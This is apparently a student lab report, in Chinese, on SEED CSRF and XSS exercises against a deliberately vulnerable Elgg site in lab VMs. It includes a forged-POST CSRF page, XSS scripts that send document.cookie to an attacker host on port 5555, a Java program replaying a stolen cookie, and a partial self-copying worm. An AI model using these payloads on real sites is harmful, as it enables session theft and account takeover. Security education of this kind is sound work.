网站攻防之CSRF和XSS跨站脚本攻击
进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人。有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受。
说是网站攻防演练,但估计这套东西已经很老很少用了,毕竟作为课程实验的实例都是“经典”的。不过里面的攻防思想特别是利用漏洞的思想对于学习是很有用处的。
(下面对于CSRF的解释和区别都是援引自实验PPT非个人原创)
当用户登陆某些网站,一些网站后台代码会把用户登陆的信息(账号、密码 etc)写到本地的Cookie,如果用户登陆网站退出后没有注销,那cookie会一直记录用户信息,下次用户重新打开浏览器再访问网站的时候网站后台会提取cookie的信息,再次验证到用户的登陆信息并把用户置为登陆状态。
如果用户在登陆状态同时又浏览了攻击者信息,便会自动执行了攻击脚本,从而cookie被攻击者窃取到。当然如果用户退出时注销那cookie就不会保存用户信息,因为这时候系统会在后台程序设置cookie相关的用户信息记录字段为空。
所以当一个用户在登陆一个有跨站漏洞网站同时又访问该站其它用户的信息或又访问恶意网站,那是很危险的!
任务1:假设你是Boby,你想在elgg上添加Alice为好友,然而Alice不愿意加你为好友,于是你打算利用CSRF攻击来使得Alice自动添加你为好友。这个任务需要你通过get请求完成这次CSRF攻击。
任务2:这次轮到Alice黑化。Alice希望Boby在自己的elgg个性签名上写“我支持SEED计划”,但是Boby不喜欢做实验,于是不想写这个个性签名。于是Alice利用POST请求完成了这次CSRF攻击。
任务3:其实呢,Elgg是有提供CSRF防御机制的,只是在实验中被暂时隐藏了而已。(要不然你以为这么容易可以攻击到咯)因此任务3要求大家开启CSRF防御,并观察实验现象。
XSS任务:
任务1:写一个简单的显示消息的javascript脚本并植入你的简介,当用户浏览你的简介的时候执行这个脚本显示消息。
任务2:写一个盗取当前用户cookie的脚本的javascript脚本并植入你的简介(profile),当用户浏览你的简介的时候执行这个脚本并显示用户的cookie。
任务3:写一个javascript脚本并植入攻击者的简介(profile),该脚本盗取当前用户cookie并把cookie发送给攻击者(在另外一台虚拟机)的TCP Server 。当用户浏览攻击者的简介的时候执行这个脚本。
任务4:用Java编写一个用窃取到的用户cookie,冒充用户把samy添加为自己的朋友的攻击程序。
任务5:用编写一个Javascript攻击脚本写,当用户访问攻击者的简介的时候,可以自动盗取用户的cookie并冒充用户修改信息并添加samy为自己的好友。
任务6(选做):编写一个Javascript攻击脚本,当用户访问攻击者的简介的时候,可以自动盗取用户的cookie并冒充用户修改信息并添加samy为自己的好友。并要求攻击代码能自身复制(类似蠕虫病毒Worm)。
各任务分析:
CSRF:
任务1:其实就是当用户A访问恶意网站时自动利用用户A的身份向服务器发送相应的指令,也就是说后台自动“帮”用户A给服务器发命令。
任务2:同样是当用户A访问恶意网站时自动利用用户A的身份向服务器发送相应的指令,只不过上面发送的是添加好友的指令(GET),这次则发送的是修改签名的指令(POST)。
任务3:CSRF攻击防范机制Secret-token方法是利用时间戳及用户ID哈希出一个不断变化的值,而已网站植入的代码并不能知道或伪造这个值,所以便无法完成上面的两个任务了。
XSS:
任务1:这个简单,就是在恶意用户的profile里面插入一段javacript脚本,所有人(包括恶意用户自己)浏览恶意用户的profile时,都会看到这个脚本产生的一个alert弹窗。
任务2:跟任务1差不多,只不过这里弹窗输入的是用户的cookie信息(用document.cookie获取)。
任务3:这次植入的不是简单的一句javascript脚本了,而是一个可以获取用户cookie并且将它发送到指定位置(攻击者的TCP server)。然后攻击者那边可以利用实现打开了的TCP server接收到这个cookie包。
任务4:利用上面任务3获取到的用户的cookie,攻击者在自己的机器里用java程序冒充用户给web服务器发送篡改命令。
任务5:利用Ajax技术写一个JavaScript脚本嵌入攻击者自身的Profile当中的,当其他人查看攻击者的Profile时会自动执行这个脚本,从而盗取用户的cookie并冒充用户给服务器发送修改信息和添加好友指令。
任务6:跟任务5差不多,不过多了一步就是将受害者的个人简介替换成之前那段恶意脚本(利用document.getElementById函数)。
实验结果:
(1)CSRF:
任务1:首先登录Alice账号并手动添加Boby为好友,然后用Live HTTP Header工具观察HTTP包头:
就是一个GET命令,附带信息有friend的id号(friend=40),后面elgg这东西是个时间戳,防伪冒用的。
然后修改攻击者网页的内容,添加一个<img>标签,但是src使用添加好友的url链接,也就是当用户访问了这个恶意网页之后,因为会自动GET<img>标签的内容,所以url自动就发出去了,浏览器根据url发送给服务器添加好友的命令。
网页源代码如下:
然后Alice在登录状态下访问这个网址的index.html:
用Live工具可以看到后台自动发送了一个GET命令:
刷新一下Alice的好友圈,发现Boby被自动添加为Alice自己的好友:
任务2:
先手动测试下,Alice手动修改自己的Profile里面的签名并保存,这之后记得要删除签名:
观察Live工具里面的内容:
是个POST命令,后面跟的是要修改后的Profile里面的一些变量值。
然后攻击者(Alice)网页index.html文件修改成如下:
<html><body><h1> This page forges an HTTP POST request. </h1> <script type="text/javascript"> function post(url,fields) { //create a <form> element. var p = document.createElement("form"); //construct the form p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; //append the form to the current page. document.body.appendChild(p); //submit the form p.submit(); } function csrf_hack() { var fields; // The following are form entries that need to be filled out // by attackers. The entries are made hidden, so the victim // won’t be able to see them. fields += "<input type=’hidden’ name=’name’ value=’Boby’>"; fields += "<input type=’hidden’ name=’description’ value=’I suppot SEED project’>"; fields += "<input type=’hidden’ name=’accesslevel[description]’ value=’2’>"; fields += "<input type=’hidden’ name=’briefdescription’ value=’’>"; fields += "<input type=’hidden’ name=’accesslevel[briefdescription]’ value=’2’>"; fields += "<input type=’hidden’ name=’location’ value=’’>"; fields += "<input type=’hidden’ name=’accesslevel[location]’ value=’2’>"; fields += "<input type=’hidden’ name=’guid’ value=’40’>"; var url = "http://www.csrflabelgg.com/action/profile/edit"; post(url,fields); } // invoke csrf_hack() after the page is loaded. window.onload = function() { csrf_hack();} </script> </body></html>
然后Boby在登录状态下登录Alice制造的恶意网页,网页会在三秒左右自动刷新并跳到ww.example.com网页:
然后Boby再跳到自己的Profile页面,发现签名被黑了:
回答问题1,完成添加好友的操作需要知道对方的id(guid),请描述下你是如何获取到对方的id(guid)的。
答:我是在Alice手动添加Boby好友时用Live工具观察包头,可以看到包头信息会有guid=40.
2,如果需要让任意访问恶意网站的人都修改掉其个人简介。但是,你又不能事先知道谁会访问这个恶意网站。所以,你还能通过CSRF来完成修改个人简介的操作么?WHY?
答:理论上是可以的,只要能黑到对方的guid号。但是我这里并没有找到方法能够动态获取guid,只能先手动操作然后观察live工具包头知道guid信息,所以关键在于有没有一个函数来获取当前登录用户的guid。
任务3:
注释掉actioin.php文件里actioin_gatekeeper函数最前面的return true
注释掉之后会执行后面的代码,也就是validate_action_token(验证时间戳)函数。代码有个关键函数就是MD5加密,所以即便攻击者能够知道时间guid,只要没有md5加密用的密钥,一样不能伪造出正确的token出来:
重新运行恶意网址,会发现一只停留在此页面,不会自动刷新跳转到ww.example.com:
然后live工具是不断地刷新接包:
跳到Boby的Profile页面,发现右上角有一大堆报错说token验证未通过说明保护成功:
XSS:
任务1:
修改Profile里面的Brief Description如下,也就是直接插入一句script脚本:
另一种方法是在About me个人介绍栏修改如下,因为这一栏最后显示会有一个<p>标签,所以需要先点击右上角remove editor然后把<p></p>标签删掉:
最后保存,可以看到弹窗:
任务2:
在brief description插入如下脚本:
保存可以看到弹窗显示cookie内容:
任务3:
首先在个人简介栏添加如下脚本,表示将当前用户的cookie发送给攻击者的机器5555端口:
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ’ >’); </script>
攻击者那边运行echoserv代码,echoserv代码用TA给的,只需要修改监控端口port为5555,然后执行编译运行:
/* ECHOSERV.C ========== Simple TCP/IP echo server. */ #include <sys/socket.h> /* socket definitions */ #include <sys/types.h> /* socket types */ #include <arpa/inet.h> /* inet (3) funtions */ #include <unistd.h> /* misc. UNIX functions */ #include "helper.h" /* our own helper functions */ #include <stdlib.h> #include <stdio.h> /* Global constants */ <span style="color:#ff0000;"> #define ECHO_PORT (5555)</span> #define MAX_LINE (1000) int main(int argc, char *argv[]) { int list_s; /* listening socket */ int conn_s; /* connection socket */ short int port; /* port number */ struct sockaddr_in servaddr; /* socket address structure */ char buffer[MAX_LINE]; /* character buffer */ char *endptr; /* for strtol() */ /* Get port number from the command line, and set to default port if no arguments were supplied */ if ( argc == 2 ) { port = strtol(argv[1], &endptr, 0); if ( *endptr ) { fprintf(stderr, "ECHOSERV: Invalid port number.\n"); exit(EXIT_FAILURE); } } else if ( argc < 2 ) { port = ECHO_PORT; } else { fprintf(stderr, "ECHOSERV: Invalid arguments.\n"); exit(EXIT_FAILURE); } /* Create the listening socket */ if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { fprintf(stderr, "ECHOSERV: Error creating listening socket.\n"); exit(EXIT_FAILURE); } /* Set all bytes in socket address structure to zero, and fill in the relevant data members */ memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(port); /* Bind our socket addresss to the listening socket, and call listen() */ if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling bind()\n"); exit(EXIT_FAILURE); } if ( listen(list_s, LISTENQ) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling listen()\n"); exit(EXIT_FAILURE); } /* Enter an infinite loop to respond to client requests and echo input */ while ( 1 ) { /* Wait for a connection, then accept() it */ if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling accept()\n"); exit(EXIT_FAILURE); } /* Retrieve an input line from the connected socket then simply write it back to the same socket. */ Readline(conn_s, buffer, MAX_LINE-1); Writeline(conn_s, buffer, strlen(buffer)); printf("%s",buffer); /* Close the connected socket */ if ( close(conn_s) < 0 ) { fprintf(stderr, "ECHOSERV: Error calling close()\n"); exit(EXIT_FAILURE); } } }
然后受害者那边save保存profile修改或者之前已经保存了就刷新下网页,然后攻击者的终端就会获取到受害者的cookie并输入到终端,如下:
任务4:
首先修改攻击者自己的hosts文件,让www.xss.lagelgg.com指向受害者机器的ip:
然后用和任务3同样的方法先获取到受害者的cookie:
手动添加好友看看包头信息,用于java代码完善,然后记得要删除好友:
根据观察结果我们可以在java代码中添加HTTP header的几大块(复制Live工具相应位置的结果即可),包括有url(包含guid)及时间戳(手动添加时从Live工具复制),还有Cookie等变量,最后还有用户自己的data,其他的均不用修改:
import java.io. * ; import java.net. * ; public class HTTPSimpleForge { public static void main(String[] args) throws IOException { try { int responseCode; InputStream responseIn=null; <span style="color:#ff0000;">String requestDetails = "&__elgg_ts=1463798208&__elgg_token=bafb2d09c33fd1ee04c727cf909fa527";</span> // URL to be forged. <span style="color:#ff0000;">URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?friend=40"+requestDetails);</span> // URLConnection instance is created to further parameterize a // resource request past what the state members of URL instance // can represent. HttpURLConnection urlConn = (HttpURLConnection) url.openConnection(); if (urlConn instanceof HttpURLConnection) { urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); } // addRequestProperty method is used to add HTTP Header Information. // Here we add User-Agent HTTP header to the forged HTTP packet. // Add other necessary HTTP Headers yourself. Cookies should be stolen // using the method in task3. <span style="color:#ff0000;">urlConn.addRequestProperty("User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0"); urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); urlConn.addRequestProperty("Accept-Language","en-US,en;q=0.5"); urlConn.addRequestProperty("Accept-Encoding","gzip, deflate");//The former is the name, and the next is the value urlConn.addRequestProperty("Referer","http://www.xsslabelgg.com/profile/boby"); urlConn.addRequestProperty("Cookie","Elgg=jaol6sg0nr4a947nchdfeiu136"); urlConn.addRequestProperty("Connection","keep-alive");</span> //HTTP Post Data which includes the information to be sent to the server. <span style="color:#ff0000;">String data = "name=Alice&guid=39";</span> // DoOutput flag of URL Connection should be set to true // to send HTTP POST message. urlConn.setDoOutput(true); // OutputStreamWriter is used to write the HTTP POST data // to the url connection. OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data); wr.flush(); // HttpURLConnection a subclass of URLConnection is returned by // url.openConnection() since the url is an http request. if (urlConn instanceof HttpURLConnection) { HttpURLConnection httpConn = (HttpURLConnection) urlConn; // Contacts the web server and gets the status code from // HTTP Response message. responseCode = httpConn.getResponseCode(); System.out.println("Response Code = " + responseCode); // HTTP status code HTTP_OK means the response was // received sucessfully. if (responseCode == HttpURLConnection.HTTP_OK) // Get the input stream from url connection object. responseIn = urlConn.getInputStream(); // Create an instance for BufferedReader // to read the response line by line. BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn)); String inputLine; while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine); } } } catch (MalformedURLException e) { e.printStackTrace(); } } }
然后编译运行该java代码,运行结果是获取到一个html网页:
然后Alice去看看和Boby的关系,发现被自动添加了Boby为好友,java代码结果成功:
任务5:
刚才用java代码的方式需要攻击者自己动手,任务5则是在攻击者的Profile植入恶意脚本,然后其他用户浏览时会执行恶意脚本并自动产生结果,不需要攻击者再做任何操作。
先让Alice手动添加Samy为还有观察live包头:
然后Alice修改自己的profile保存save之后的live包头为:
这两个包头信息用于JavaScript脚本编写,脚本编写如下:
</p> <script type="text/javascript"> var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var content="__elgg_token=3858e88e1cfe52088d12dd4a0b4037c0&__elgg_ts=1463799514&name=ModifyByAttacker_Alice&description=&accesslevel%5Bdescription%5D=2&briefdescription=%3Cscript+type%3D%22text%2Fjavascript%22%3Edocument.write%28%27%3Cimg+src%3Dhttp%3A%2F%2F192.168.88.131%3A5555%3Fc%3D%27%2Bescape%28document.cookie%29%2B%27%3E%27%29%3B%3C%2Fscript%3E&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39"; Ajax.send(content); var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463805188&__elgg_token=7cc237bd8867a3cc485f485195232c89",true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); var content="";Ajax.send(content); </script><p>
要一一对应包头里面的每个键值对,如cookie等,这里因为需要修改用户profile的同时还要添加samy为好友,所以我这里开了两个ajax的XMLHttpRequest,一个用户修改用户profile,一个用户添加samy为好友。
然后在攻击者的About me栏插入这个脚本(brief description无法插入这么长的内容):
保存,可以发现并不会直接显示出来,只能用firebug工具发现植入的JavaScript脚本:
然后受害者Alice去搜索查看下Boby的Profile页面:
点击进入发现Live工具包头可以看到发送了GET和POST指令,分别就是上面说的一个是POST修改用户信息,GET添加Samy为好友:
查看Alice自己的Profile页面,发现签名被篡改:
查看好友圈发现被自动添加了Samy为自己的好友:
于是,任务5也完成了。
任务6:
结果未实现,但是我知道了大体思路,能够伪造修改Profile的包头,但是却无法真正实现在受害者介绍栏中插入整一个脚本。所以这里我只能演示一下不插入整个脚本文件所有内容,而是只插入一句Hello world,然后篡改受害者昵称和添加Samy为还有都没问题,脚本如下:
<pre name="code" class="java"><pre name="code" class="javascript"></p><script id=worm type="text/javascript">var strCode = document.getElementById("worm");var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content1="__elgg_token=0bc2454b7c6b587e929711dc57446eaf&__elgg_ts=1463808455&name=YourNameHasBeenModifiedByAttacker&description=";var content2="&accesslevel%5Bdescription%5D=2&briefdescription=&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39"; var content=content1+strCode.innerHTML+content2; Ajax.send(content); var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts=1463808542&__elgg_token=dfeeab52230919bf73d4023d49f5bff8",true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Keep-Alive","300");Ajax.setRequestHeader("Connection","keep-alive");Ajax.setRequestHeader("Cookie",document.cookie);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var content="";Ajax.send(content);</script><p>